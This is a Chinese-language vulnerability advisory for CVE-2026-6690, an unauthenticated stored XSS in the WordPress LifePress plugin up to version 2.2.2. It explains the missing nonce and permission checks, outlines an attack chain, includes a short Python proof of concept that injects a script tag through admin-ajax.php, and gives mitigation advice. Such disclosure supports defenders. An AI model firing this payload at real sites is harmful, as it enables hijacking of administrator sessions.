IPBUF安全漏洞报告
English
CVE-2026-6690 CVSS 7.2 高危

CVE-2026-6690 LifePress插件存储型XSS漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-6690
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress LifePress Plugin

相关标签

Stored XSSWordPressLifePressCWE-79无需认证

漏洞概述

WordPress LifePress插件在2.2.2及之前版本中存在严重的存储型跨站脚本(XSS)漏洞。该漏洞源于`wp_ajax_nopriv_lp_update_mds` AJAX操作缺乏Nonce验证和权限检查,且对'n'参数的输入清洗和输出转义不足。未经身份验证的攻击者可利用此缺陷注入恶意Web脚本,一旦管理员访问受感染的管理页面,脚本即自动执行,可能导致会话劫持或恶意操作。

技术细节

该漏洞的核心在于WordPress LifePress插件对AJAX请求处理的不当实现。具体而言,插件在`includes/admin/class-admin-ajax.php`中注册了`wp_ajax_nopriv_lp_update_mds`动作,该动作允许未认证用户通过`lp_update_mds`参数触发更新逻辑。由于代码中未包含WordPress标准的Nonce验证机制,也未进行用户能力检查,任何匿名用户均可调用此接口。漏洞触发点在于'n'参数(系列名称),该数据在未经充分过滤的情况下直接存储。当管理员访问插件的后台设置页面(`class-metrics.php`渲染页面时)时,存储的恶意数据会被输出到HTML中,且缺乏必要的转义处理,导致浏览器将其作为JavaScript代码执行。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标站点安装了WordPress LifePress插件,且版本在2.2.2及以下。
STEP 2
2. 漏洞利用
攻击者向`/wp-admin/admin-ajax.php`发送特制的POST请求,包含action为`lp_update_mds`且'n'参数带有恶意JavaScript代码的数据。
STEP 3
3. 持久化
由于缺乏输入清洗和Nonce验证,服务器将恶意脚本存储在数据库中。
STEP 4
4. 触发执行
当管理员登录后台并访问LifePress插件的设置页面时,页面加载并渲染被污染的数据。
STEP 5
5. 攻击生效
恶意脚本在管理员浏览器中执行,攻击者可窃取Cookie或利用管理员权限执行进一步操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual vulnerable site) target = "http://example.com/wp-admin/admin-ajax.php" # Malicious payload to be injected # The 'n' parameter is vulnerable payload_data = { "action": "lp_update_mds", "n": "<script>alert('CVE-2026-6690 Stored XSS');</script>" } try: # Send POST request without authentication (PR:N) response = requests.post(target, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[*] Check the admin settings page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

LifePress <= 2.2.2

防御指南

临时缓解措施
建议立即检查并更新LifePress插件。若暂时无法升级,应禁用该插件或通过Web应用防火墙(WAF)拦截包含恶意脚本特征的请求,特别是针对`admin-ajax.php`中`lp_update_mds`动作的未认证访问。

参考链接